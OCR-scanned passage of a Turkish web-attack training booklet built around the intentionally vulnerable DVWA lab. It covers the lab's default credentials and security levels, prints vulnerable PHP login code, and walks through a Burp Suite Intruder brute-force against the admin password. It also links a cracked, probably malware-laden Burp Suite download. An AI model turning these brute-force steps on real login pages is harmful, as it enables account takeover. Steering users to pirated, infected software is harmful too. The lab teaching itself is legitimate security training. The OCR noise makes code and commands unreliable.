Sanal sunucu makinenin gerek duyabileceginiz hesap bilgileri ve uygulama erisim linkleri
asagidaki gibidir:

Ubuntu Server Oturum Bilgileri

user
password

Localhost Http Basic Auth Oturum Bilgileri

http://IP
admin
toka

DVWA Oturum Bilgileri

http://IP/dvwa
admin
password

Webgoat Oturum Bilgileri

http://IP:8080/WebGoat/attack
( Linkteki W ve G harfleri biyik )
guest
guest

Phpmyadmin Oturum Bilgileri

http://IP/phpmyadmin
root
password
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MySQL Oturum Bilgileri

root
password

Not:

Sanal makineyi kapatirken sanal makine komut satirindan

1 sudo su // parola olarak password girilir.

2 Poweroff

seklinde kapatmaya 6zen gosteriniz. Bu sekilde ilave uygulama olan webgoat i¢in servisler geri
donulemez sekilde cakilmaz ve makineyi yeniden baslattiginizda webgoat uygulamasi
sorunsuz agcllabilir (¢cinki kapatilirken webgoat servislerini dizenli kapatacak bir script
tanimlanmistir). WebGoat'la isiniz olmazsa ve sadece DVWA ile ugrasacaksaniz buna gerek
yoktur. Her tlrl0 kapatilabilir.
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DERS 1 - DVWA'YA GiRIS

DVWA adli web uygulamasinin bu ilk dersinde dersler boyunca sik sik kullanilacak birkag
Ozellikten bahsedilecektir. Bu 6zelliklerin kullaniimasi gerektigi durumlarda ilk birkag yazida
tekrar mahiyetinde yer verilecektir, fakat sonradan artik bunlar biliniyor farzedilip sirasi
geldiginde nasil kullanilacagina deginilmeyecektir. Direk kullanimi Gzerinden ders akisina
devam edilecektir.

ilk olarak DVWA'daki saldiri tirlerine deginelim. Asagidaki resimde alt alta diziimis mendler -
veya buton da diyebilirsiniz - birer web saldiri tekniklerinin isimlerini temsil etmektedirler.

Home |
Instructions
Setup I Reset DB

Brute Force
‘Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most commaon web vulnerability, with various difficultly levels,

with a simple straightforward interface.

General Instructions

is up to the user how they approach DVWA. Either by working through every module at a fixed level, or

electing any module and working up to reach the highest level they can before moving onto the next one. There
I i i dule; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

lease note, there are both doct and rted vulnerability with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue.

About
WARNING!

Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public
html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual
machine (such as or ), which is set to NAT networking mode. Inside a guest machine, you
can downloadina and install for the web server and database

Logout

Sari ile vurgulanmis alandaki her buton sizi ilgili ataga karsi zafiyet barindiran bir web
sayfasina ydnlendirecektir. Bu butonlar bu tutorial boyunca derslerin adi olacaktir. Simdi bu
butonlarin bir de givenlik yonine bakalim.
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Home |
Instructions
Setup | Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info

About

Logout

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly levels,
with a simple straightforward interface.

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both docu and 1ted vulnerability with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious

There is a help button at the bottom of each page. which allows you to view hints & tips for that vulnerability
here are also additional links for further background reading, which relates to that security issue

tions. Note, there are also various public methods at bypassing these protections (so this can be see an as
éxtension for more advance users)!

WARNING!

Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public

Yukaridaki resimde sari ile vurgulanmis kisimdaki DVWA Security butonu DVWA'daki az 6nce
degindigim butonlarin gétirdagu sayfalardaki guvenlik dizeyini degistirebileceginiz bir ayar
sunar. DVWA Security butonuna tikladiktan sonra gelen icerikte

Home
Instructions
Setup | Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

ovwa securty |

DVWA Security

Security Level
Security level is currently: medium.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the

i gied to secure an application. It also acts as a challenge to users to refine their

ploitation techniques.
igh - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
ractices to attempt to secure the code. The vulnerability may not allow the same extent of the

ploitation, similar in various Capture The Flags (CTFs) competitions.

possible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
code to the secure source code.

rity to DVWA v1.9, this level was known as 'high'.

Impossible ¥ || Submit

sari ile vurgulanan listBox 4 tane glvenlik kademesi sunmaktadir. Resimde goérinen
Impossible ifadesi guvenligin olabilecek en Ust duzeyde oldugu anlamina gelir. Impossible
disinda High, Medium ve Low seviyeleri mevcuttur. Buradan DVWA'nin glvenlik seviyesini
dersler boyunca degistirmeniz gerekecektir. Bu blogda paylasilan yazilarin sonunda [Low
Level] ifadesini goéruyorsaniz o yazi glvenlik dizeyi Low Level'ken yapilmis saldiriyr konu
ediniyor anlamina gelir. Ayni sekilde [Medium Level] yer aliyorsa guvenlik seviyesi olarak
Medium Level baz alinarak ders anlatiliyor anlamina gelir. Yani eger bir dersin adinda (Low
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Level) yaziyorsa bu glvenlik ayarini low level yapmaniz gerekir. Eger bir dersin adinda
(Medium Level) yaziyorsa bu glvenlik ayarini Medium Level yapmaniz gerekir. Hakeze High
ve Impossible icin de ayni iglemleri gerceklestirmeniz gerekir.

Eger guvenligi yukaridaki resimde sari ile vurgulanan bolgedeki Impossible'dan Low Level'a
cekerseniz tamamen saldiriya agik, higbir givenlik énlemi alinmamis bir DVWA karsiniza
gelecektir. Bu sayede saldiri tekniklerini dgrenebilir ve ardindan gtivenligi bir kademe arttirarak
glvenligin koda nasil yansidigini gorebilir ve ayrica bahsedilen glvenlik énlemlerinin nasil
asllabilecegdini de tecriibe edebilirsiniz.

Deginilebilecek bir diger 6zellik ise diyelim ki blogdaki dersleri takip ettiniz, DVWA'nin
veritabanini saldiri izleriyle kirlettiniz ve en bastan bir daha baslamak istiyorsunuz. Bu durumda
veritabanini ilk yulklediginiz hale getirecek, yani sifirlayacak sayfaya goétiren su butona
tiklamaniz gerekmektedir:

Home Database Setup -
Instructions Click on the 'Create / Reset Database’ button below to create or reset your database
l:l If you get an error make sure you have the correct user credentials in: I v i fig.inc.php
If the database already exists, it will be cleared and the data will be reset.
B Force You can also use this to reset the administrator credentials ("admin // password"”) at any stage.
Command Injection
e Setup Check
File Inclusion Operating system: *nix
Backend database: MySQL
File Upload PHP version: 5.5.9-1ubuntud.14
Insecure CAPTCHA Web Server SERVER _NAME: localhost
SQL Injection _
PHP function display_errors: Enabled (Easy Mode!)

SQL Injection (Blind) PHP function safe_mode: Disabled

PHP function allow_url_include: Enabled

XSS (Reflected) PHP function allow_url_fopen: Enabled
PHP function magic_nuotes_gpe: Disabled
LESER=) PHP module php-gd: Installed
DVWA Security reCAPTCHA key: Missing
PHP Info Writable folder fvarwwwidvwa/hackable/uploads/: Yes)
Witable file fvariwwwidvwalexternal/phpids/0. 6/ib/IDS/mpiphpids_lag.txt: Yes
About

Status in red, indicate there will be an issue when tying to complete some modules.

Yesil renki butona tikladiginizda ekrana gelen icerikteki Create/Reset Database butonuna
tiklayarak veritabaninizi sifirlayabilirsiniz.
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Database Setup

Click on the 'Create / Reset Database’ button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: hariwwwidvwalconfigiconfig.inc.php

If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials ("admin // password”) at any stage.

Setup Check

Operating system: *nix
Backend database: MySQL
PHP version: 5.5.9-1ubuntud.14

Web Server SERVER_NAME: localhost

PHP function display_errors: Enabled (Easy Mode!)
PHP function safe_mode: Disabled

PHP function allow_url_include: Enabled

PHP function allow_url_fopen: Enabled

PHP function magic_quotes_gpc: Disabled

PHP module php-gd: Installed

reCAPTCHA key: Missing

Wiritable folder ivariwwwidvwa/hackable/uploads/: Yes)
Wiritable file /variwww/dvwalexternal/phpids/0.6/ib/DSAmp/phpids_log.txt: Yes

Status in red, indicate there will be an issue when trying to complete some modules.

Create / Reset Database | e—

Son olarak deginilmesi gereken nokta DVWA'daki her bir dersin ilgili PHP kodlarina her ders
iceriginin sag alt kdsesindeki View Source butonundan erigebilirsiniz.

o Vulnerability: Brute Force

Instructions Login
Setup | Reset DB
Username:
admin
BruteForce | Password:
Command Injection ]
csRe | =
File |
B More Information
Insecure CAPTCHA
SQL Injection .
SQL Injection (Blind) *
EEEEEE
XSS (Stored)

DVWA Security
PHP Info

About

Logout |

Security Level: impossible

Username: admin View Source | View Help
PHPIDS: disabled
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Damn Vulnerable wWeb Application (DVWA) v1.95ource :: Damn Vulnerable Web Applicati

[ localhost

Brute Force Source

<?php
if( isset( $_GETI[ 'Login' 1 ) ) {
$user = § GET[ 'username' 1;
$pass = $_GET[ 'password' 1;
$pass = md5( $pass };
$query = "SELECT * FROM "users WHERE user = '$user' AND password = '$pass’;";
$result = mysql_query( $query ) or die( '=pre=' . mysql_error() . '=/pre=' );

if( $result &5 mysql num rows( Sresult ) == 1) {

$avatar = mysql_result( $result, @, "avatar” );

echo "<p>Welcome to the password protected area {Suserl}</p=";
echo "<img src=\"{$avatar}\" /=";

}
else {

echo "<pre=<br /=Username and/or password incorrect.</pre=";

Iy
mysql_close();

>

Compare All Levels

Saldir duzenlemeyi 6grendikten sonra bu saldiridan nasil korunacaginiza dair olan derslerde
kaynak koduna inilecektir ve guvenlik seviyelerinin kaynak kodda ne gibi degisikliklere yol
actigindan, guvenlik dnlemlerinin koda nasil yansidigindan bahsedilecektir. Bdylelikle bir
hacker'in saldiri bilgisini 6greneceginiz gibi bir guvenlik uzmaninin bu saldirilari nasil
savusturabilecegini de 6grenebileceksiniz. Bir dersin 4 guvenlik seviyesine ait kaynak kodlarini
goérmek i¢in her defasinda glvenlik seviyesini degistirip ardindan View Source butonuna
basmak yerine tim guvenlik seviyelerinin kaynak kodlarini birarada gérmek icin View Source
butonuna tiklayip ardindan yukaridaki resimden de gorllebilece@i gibi pencerenin sol alt
kdsesinde yer alan Compare All Levels butonuna tiklamaniz yeterlidir. Boylece tek bir
pencerede hizli bir gekilde guvenlik seviyelerinin kaynak kodda olan degdigimlerini
go6zlemleyebilir ve bunlari birbirleriyle kiyaslayabilirsiniz.

Hepsi bu kadar. Artik derslere baslamak icin hazirsiniz. Takipte kalin. Hosgakalin.
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DERS 2 - BRUTE FORCE (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin givenlik zafiyetinden
faydalanarak Brute Force saldirisinda bulunulacaktir.

Bu tutorial'in saldiri igerikli ilk yazisinin konusuna baslamadan dnce bir defaya mahsus tutorial
boyunca takip edilecek anlatim methodundan bahsetmekte fayda var. Her ders yazisina
Dersin Hedefi baslikh bir alt baslikla baglanacaktir. Bu baslik yapacaginiz saldiri ile ne sonuca
varmaniz gerektigi konusunda size direktif verecektir. Ardindan derste kullanilacak saldiri
tekniginin tanimindan bahsedilecektir. Bunun akabinde ise bahsedilen saldiri tekniginin
DVWA'daki glvenlik zafiyeti barindiran sayfaya nasil uygulanabileceginden bahsedilecektir.
Boylelikle teorik olarak 6grendiginiz saldin tekniginin pratikte uygulanisini tecriibe etmis
olacaksiniz. Dersi toparlamak adina bir de Sonug bdlimu yer alacaktir. Opsiyonel olarak ise
Sonug bdéliminden sonra Ekstra adli baslik yer alacak olup bu baslik saldiryi gerceklestirme
hususunda kullanilabilecek yan tool'lardan bahsedecektir. Evet, tutorial'in isleyisi kabaca bu
sekilde olacaktir. Haydi simdi derse baglayalim.

Dersin Hedefi
Hedefiniz Brute Force saldirisi yaparak admin kullanicisinin sifresini kirmaktir.

Brute Force Nedir?

Brute Force (Kaba Kuvvet), sifre kirma saldirilarinda kullanilan bir saldiri teknigidir. Bu saldiri
teknigi ile login gecis noktasi olan herhangi bir uygulamaya saldiri duzenleyebilir ve dogru
sifreyi bulup birinin hesabina giris yapabilirsiniz. Brute Force ile ayni igleve sahip, fakat tir
olarak alternatif bir segenek olan Dictionary (S6zlik) ise yine sifre kirma saldirilarinda
kullanilan bir saldiri teknigidir. Bu teknik ile de login gecis noktasi olan herhangi bir uygulamaya
saldiri dizenleyip dogru sifreyi edinmemiz dogrultusunda birinin hesabina giris yapabilirsiniz.

Brute Force (yani kaba kuvvet) saldirisi, programa verilecek karakter seti (6rn; a'dan z'ye tim
harfler veya A'dan Z'ye tum harfler v.b.) bilgisi, minimum kelime uzunlugu bilgisi ve son olarak
maksimum kelime uzunlugu bilgisi ile programin kendisine verilen bu limitler dogrultusunda
elde edilebilecek maksimum tum kelimeleri sirasiyla sifre bu mu degil mi diye login noktasina
denemesine denir. Dictionary (yani sdzlUk) saldirisi ise binlerce, belki milyonlarca sik kullanilan
sifrelerin alt alta yer aldid1 bir txt dosyasinin programa verilip dosyanin her satirinin (yani her
olasi sifrenin) sifremiz bu mu degil mi diye sirayla login noktasina denendigi saldiri tirtine
denir. Milyonlarca sik kullanilan sifreler arasindan birisi eslestigi an (yani ise yaradigi an) sifre
kirildi (tespit edildi) denir.

Brute Force saldirisi gorildigua tzere verilen limitler (kisitlar) dogrultusunda tiretilebilecek tim
kombinasyonlarin denendigi bir saldiri tiradur. Tum kombinasyonlardan kasit sudur: Bilgisayar
sistemlerinde bir karakter - mesela a harfi - 8 bitten olusur. (10010001 gibi). Bu 8 bitlik sayinin
1'lerini ve O'larini degistirerek biz aslinda alfabedeki harfleri degistirmis oluruz. iste bu 8 haneli
sayidan turetilebilecek tim sayilara (karakterlere) tim kombinasyonlar adini veriyoruz. Brute
force saldirisini tim kombinasyonlari deneyecek sekilde dizenlersek bu kombinasyonlar
icerisinden biri sifrenin kendisi olursa sifre tespit edilmis olacaktir. Daha teknik ifadeyle sifre
kirilmis olacaktir. Teorik olarak tim kombinasyonlari denemek seklinde uygulanan Brute Force
saldirilari sizi daima kesin sonuca géturtr. Yani bu yontemle kirllamayacak sifre yoktur. Her
sifre kirillabilir. Fakat bu yéntem saniyeler igerisinde sizi sonuca géturebilecegi gibi gunler,
haftalar, aylar hatta yillar icerisinde de sizi sonuca goéturebilir. Yani tim kombinasyonlari
denemek biraz maliyetli, zaman isteyen bir igtir. Dolayisiyla bunun yerine - Brute Force
saldirilari yerine - genellikle sdzlik saldirilari gergeklestirilir. Yani daha énceden olusturulmus
olasi yuzlerce, binlerce sifrelerin yer aldigi bir text dosyasindaki tum sifreler yazilimla login
noktasina sirayla denenir. Eger saldirgan sansliysa sifreyi tutturur ve login noktasindan igeri
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girer. Tum kombinasyonlari denemek kadar garanti olmasa da yine de daha optimum bir
yoldur. Internet UGzerinde bu is icin paylasiimis hazir ve kapsamli sik kullanilan / olasi sifreler
s6zlUkleri bulunmaktadir.

Brute Force Nasil Yapilir?

Bu basglik Brute Force nasil yapilir seklindedir. Fakat tipki Brute Force gibi otomatik sekilde
deneme vyanilma yapan, yani ayni prensipte calisan,fakat olasi sifre kaynagi olarak
matematikten degil de daha 6nceden doldurulmus bir olasi sifreler txt dosyasindan yararlanan
Dictionary saldirisi ilave olarak gosterilecektir. Bu iki gifre kirma saldirisini yapabilmek icin
Burpsuite adli bir yaziimdan faydalanilacaktir.

Burpsuite yazilimini su_adresten temin edebilir, Windows kullanicisiysaniz indirdiginiz jar
dosyasinin Uzerine ¢ift tiklayarak, Linux kullanicisiysaniz konsoldan

1 java -Jjar burpsuite-versiyonNo.jar

seklinde kodlamayi terminalde tuslayarak baslatabilirsiniz. Ama ufak bir not: Burpsuite,
calismak icin JRE'ye ihtiyag duyar. Eger JRE, makinanizda yukli degilse Windows
kullanicilari su adresten ilgili JRE sturimuanu indirip kurabilirler, linux kullanicilari ise asagidaki
sistem kodlamalarini terminallerine sirasiyla girerek JRE'yi makinalarina kurabilirler:

1 sudo add-apt-repository ppa:webupd8team/java
2 sudo apt-get update

3 sudo apt-get install oracle-java8-installer

Not: Bu makalede yer alan Brute Force saldirisini Burp ile uygulayabilmeniz igin Burp'in lisansh (licretli)
sdrimiintine ihtiyaciniz vardir. Ancak makalenin devaminda gelecek lcretsiz siiriimlerin yapabilmesine olanak
verilmis Dictionary saldirisini halen yapabilir durumdasiniz. Sayet CRACK'li Burp kullanmay, yani VIRUS'lii olmasi
¢ok ¢cok muhtemel bir Burp'ii kullanmayi ve Brute Force saldirisini deneyimlemeyi isterseniz - yani riski gbze
aliyorsaniz - gsu adresten indirebilir ve gerekli kullanim kilavuzundan yararlanarak kullanabilirsiniz. UYARI: CRACK'li
Burp'iin VIRUS igerebilecedini ve makinelerinize zarar verebilecegini (6rn; HASSAS VERILERINIZIN CALINMASI,
HESABINIZIN ELE GECIRILMESI, MAKINENIZIN BIR SUC OLAYINDA KULLANILMASI gibi) bildiginizi

varsayiyorum ve dolayisiyla SORUMLULUK KABUL ETMEMEKTEYIM.

Brute Force Attack
DVWA web uygulamasindaki Brute Force saldirisini deneme sayfasinda bir login ekrani sizi
kargilayacaktir.

TUBITAK — BILGEM - Siber Givenlik Enstitisi

33


https://portswigger.net/burp/downloadfree.html
http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html
http://www.includekarabuk.com/kitaplik/indirmeDeposu/Burp%20Suite%20Professional%20v1.5.01.zip

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Vulnerability: Brute Force

Login

Lsername:

Password:

Login

More Information

[!] Uyart:

Brute force teknigiyle sifre kirma saldirilarinda limitler programa ne kadar yukari degerlerde
verilirse sifre kirma suresi de turetilecek bu kombinasyonlar adedince uzayacaktir. Dolayisiyla
DVWA'da admin kullanicisi sifresi password oldugundan ve bu sifre 8 karakterli oldugundan
verilecek limitleri ne kadar kucultirseniz kiclltin sifreyi kisa sirede kirma deneyimi elde
edemeyeceksiniz. Bu nedenle isleyisi anlamak adina simdilik DVWA'nin bir bagka saldiriyi
konu edindigi bir sayfasindaki (CSRF sayfasindaki) sifre dedistirme ekranindan sifrenizi daha
basit bir sifreyle degistirin. Bu sayede brute force ile sifre kirma saldirisi yaptiginizda sifreyi
kirma sireniz ciddi oranda diisecektir. Ornegin bu derste biz, sifremizi 4 karakter uzunlugunda
ve alfabedeki harflerden olusan "saat" yapalim (not: bu islem sonrasi DVWA'dan ¢ikis yapip
tekrar login oldurken admin hesabina saat sifresiyle giris yapabildiginizi gorebilirsiniz).
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

L
a1
a

o

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

i
i
8

More Information

|

Dersin hedefi bashginda da belirtildigi gibi hedefimiz admin kullanicisinin sifresini kirmaktir.
Bu ig icin BurpSuite yazilimini ve saldiri esnasinda kullanacaginiz tarayiciyi yapilandirmaniz
gerekmektedir. Bunun icin BurpSuite'i baglatin ve Proxy sekmesine gecis yapin.

> Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

l’Target Proxy Spider rScannar rlntruder rRepeater rSeuuencer rDecher rComparer rExtender rOptmns rlAIens |

Site map
| Filter: Hiding nm\nd items; hiding C55, image and general binary content; hiding 4xx responses; hiding empty folders |
Host | Method | URL \ Params |Status -| Length
4] I IC

Request rResponse |

Raw Hex

-

"_:.-_':E a search term Omatches

Sonra Options sekmesine tiklayin.

TUBITAK — BILGEM — Siber Givenlik Enstitisi

35



TASNIF DISI Web Uygulamalarini Ele Gegirme Egitimi: DVWA

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

rTarget rPro)qr rSp\der rScanner r\mruder rRepeater rSequencer rDecoder rComparer rExtender rOptmns rAIer‘ls |
[ Intercept | HTTP history | WebSockets history |  Options |

| Forward | | Drop | eptis on Action l:l

| »

-

‘ O matches

Ardindan Edit butonuna tiklayin ve asagidaki resimdeki gibi ayarlamalari yapin.

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

fTarget rPrmcy rSpider rScanner rlntruder rRepeater rSequencer rDecnder rCnmparer rExtender rOptimns rA\er‘ts |
[(Intercept | HTTP histary | WebSockers history | Options |

-
Proxy Listeners m

Burp Proxy uses listeners to receive incoming HTTP requests from vour browser. You will need to configure yvour browser to use one of the list

Add Running | Interface | Invisible | Redirect | Certificate
|*g008 | ] | |Per-host

Each installation of BurNerates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or exp|
other tools or another instdlation of Burp.

Import / export CA certificate | | Regenerate CA certificate

Intercept Client Requests

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

el 1 ranuasts b A i tha Follmsine ol

4 0

[4]

| »
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Edit proxy listener

Einding Regquest handling Certificate

These settings control how Burp binds the proxy listener,
Eind to port: 8008

Bind to address: ) Loopback only

) Allinterfaces

() Specific address: [127.0.0.1 |v|

QK | | Cancel

Ardindan BurpSuite'in penceresinden biraz asagiya kayin ve asagidaki resimden de
gorulebilecegi gibi Intercept Client To Server Message'a tick isareti koyulu oldugundan emin
olun. Bu tick igareti sizin login ekraninda deneme mahiyetinde yapacaginiz ilk giris
tesebblsunde talebinizi sunucuya gitmeden BurpSuite'in yakalamasini saglayacaktir.
Ardindan BurpSuite'e verecegimiz limitler dogrultusunda bu ilk giris tesebblsu turetilen her
olasi sifre (kelime) ile denenmek Uzere tekrarlanacaktir.

- Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target rF‘roxv rSpider rScanner rlntruder rRepeater rSequencer rDecher rComparer rExtender rOpt\ons rAIens |

rlmercept rH'I'FPhislUry rWebSUckets histary rOpliUns |

T—— || [And [Status code [Daoes not match [~304% - s
[ Jard [urL [ ]

|\s intarget scope

Up

Down

Automatically update Content-Length header when the response is edited

Intercept WebSockets Messages

Use these settings to control which WebSockets messages are stalled for viewing and editing in the Intercept tab =

Intercept client-to-server messages

[] Intercept server-to-client messages

Response Modification

These settings are used to perform automatic madification of responses.

[[] Unhide hidden form fields

4]

1 Praminently highliaht unhidden fields

Simdi Firefox'u (veya bagka bir tarayiciyi) agin ve asagidaki adimlari uygulayin.
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TASNIF DISI Web Uygulamalarini Ele Gegirme Egitimi: DVWA

Ubuntu Start Page - Mozilla Firefox

Ubuntu Stark Page x

& | @ | search or enter address » | & ||Q search LT B> @

& ©rirefox | aboutspreferencesi#advanced v | @ | [ search |«#®s @ & & ©® & 68> =

Advanced

General Data Choices Network Update Certificates
Connection

Configure how Firefox connects to the Internet Settings...

Cached Web Content
Your web content cache is currently using 267 MB of disk space

Clear Now
Override automatic cache management
& Advanced Limit cache to 350 MB of space

Offline Web Content and User Data

Your application cache is currently using 0 byte: Clear Now
V| Tell me when a website asks to store data for offline use Exceptions...
The Following websites are allowed to store data For offline use:

Remove...
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

x Connection Settings

Configure Proxies to Access the Internet
| ) No proxy
() Auto-detect proxy settings for this network
) Use system proxy settings
@ Manual proxy configuration:

HTTP Proxy: | localhost | port: | 8008 %
] Use this proxy server for all protocols
| SSL Proxy: Port: 0|3
4 FTP Proxy: Port: D3
I SOCKS Host: Pork: [
1 @ SOCKSv4 ) SOCKS V5

No Proxy for:

hura5| bos kalacak (!)

| Example: .mozilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

[ Do not prompt For authentication if password is saved

Help Cancel OK

Artik Brute Force icin hazirsiniz. DVWA'nin Brute Force ders ekranina gelin. Login ekranina
rastgele bir seyler girin. Mesela kullanici adi icin deneme ve sifre icin de deneme girin:

Vulnerability: Brute Force

Login

Username:
deneme
Password:

srnene

Login

Username and/or password incorrect.

Login butonuna tikladiginiz an BurpSuite bu istedinizi sunucuya giderken yakalayacaktir ve
brute force saldirisi igin gerekli limitleri ekleyebilmeniz adina bekletecektir. BurpSuite
penceresine gelin ve Proxy > Intercept sekmelerine tiklayin.
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TASNIF DISI

Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

B Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target rProxy rSpider rScanner rlmruder rRepea(er rSequencer rDecoder rComparer rExtender rOptions rA\ens |

Intercept rH'I'FPhistnry T’Wehincke(s histary r’Oplinns |

Request to http://localhost:30 [127.0.0.1]

‘ Forward ‘ | Drop

|| Intercept is on H Action ‘ H ==|| ? |

Raw | Params Headers Hex

CET Advwa/s/vulnerabilities/brute/Tuserr
Host: localhost

User-Agent: Mozilla/sS.0 (x11; Ubuntu; Linux xB6_64; rv:42.0) Gecko/20100101 Firefox/42.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8

Accept-Language: en-Us,en; a=0.5Byraya sag tiklayin ve "Send to Intruder" segenegine tiklayin.
Accept-Encoding: gzip, deflate

Referer: http://localhost/dvwa/vulnerabilities/hrute/

Cookie: security=low; PHPSESSID=o0d4hi2qikril9p8i9kcl7mi8u3

Connection: keep-alive

rd=deneme&login=Login HTTP/1.1 -

BEEE]

0 matches

Yukaridaki pencerede yer alan kodlarin bulundugu alana sag tiklayin ve Send To Intruder
secenegine tiklayin. Bu islem sizi agagidaki resimde gériinen sekmeye yonlendirecektir:

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

[ Target | Frowy | spider | scanner |Tintruder | Repeater | sequencer | Decoder | Comparer | Extender | options | alents |

1 = 2 %

Target rFosmons rPaonads rOpuons ‘

Payload Positions

payloads are assigned to payload positions - see help for full details

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which

Attack type: [Sniper

=]

Start attack

GET /dvwa/vulnerabilities/brute/Tusername=§deneme§ipassword=§deneme§ilogin=5Loging
HTTP/1.1

Host: lecalhost

User-Agent: Mozillas/5.0 (X113 Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101
Firefox/42.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/dvwasvulnerabilities/brute/

Cookie: security=§16W§; PHPSESSID=§od4hiZgiKril8p8iskel7nBu3s

Connection: keep-alive

-

i

Add §

S payload positions

0 matches

Length: 483

Clear

[

Yukaridaki resmin sag tarafinda bulunan Clear $ butonuna tiklayin. Bu islem, BurpSuite'in
brute force uygulamak adina otomatik olarak segtigi tUm parametreleri secimli halden
kaldirmak icindir. Biz, bu $ secimini sadece sifre parametresine yapacagiz. Clnki sifre

kirmaya (otomatize sifre denemeleri yapmaya) caligsiyoruz. Bunun igin asagida yer alan

resimdeki gibi deneme yazisini segin ve sag taraftaki Add $ butonuna tiklayin.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Burp Suite Profe

Burp Intruder Repeater Window Help

[Target Y Proxy Y Spider I Scanner I Intruder I Repeater I Sequencer Y Decoder I Comparer I Extender I Options IAIerts }

1 x|2 5|3 = |[45]..

[Target TPositions TPayloads Y()ptions }

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper |v]

GET /DVWA-master/vulnerabilities/brute/7username=deneme&password=deneme&Login=Login
HTTP/1.1

Host: localhost

User-Agent: Mozillaf5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Geckos2!
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http:/flocalhost/DVWA-masterjvulnerabilities/brute/
Connection: keep-alive
Cookie: security=|low; PHPSESSID=0gc1sb3j0glfeam3 knmuvi

Upgrade-Insecure-Requests: 1
b
[ ]
? < + > | |Type a search term 0 matches Clear

0 payload positions Length: 517

Clears

Auto §
Refresh

Firefox/66.0

Burp Suite Professional nsed to LarryLau

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIert!; ]

1 =2 = (3= [4=x]..

[ Target I Positions Tpayloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper |v]
GET /DVWA-masterfvulnerabilities/brutej?username=deneme&password=5denemes&Login=Login A Add §
HTTR/1.1 r l—J

Host: localhost
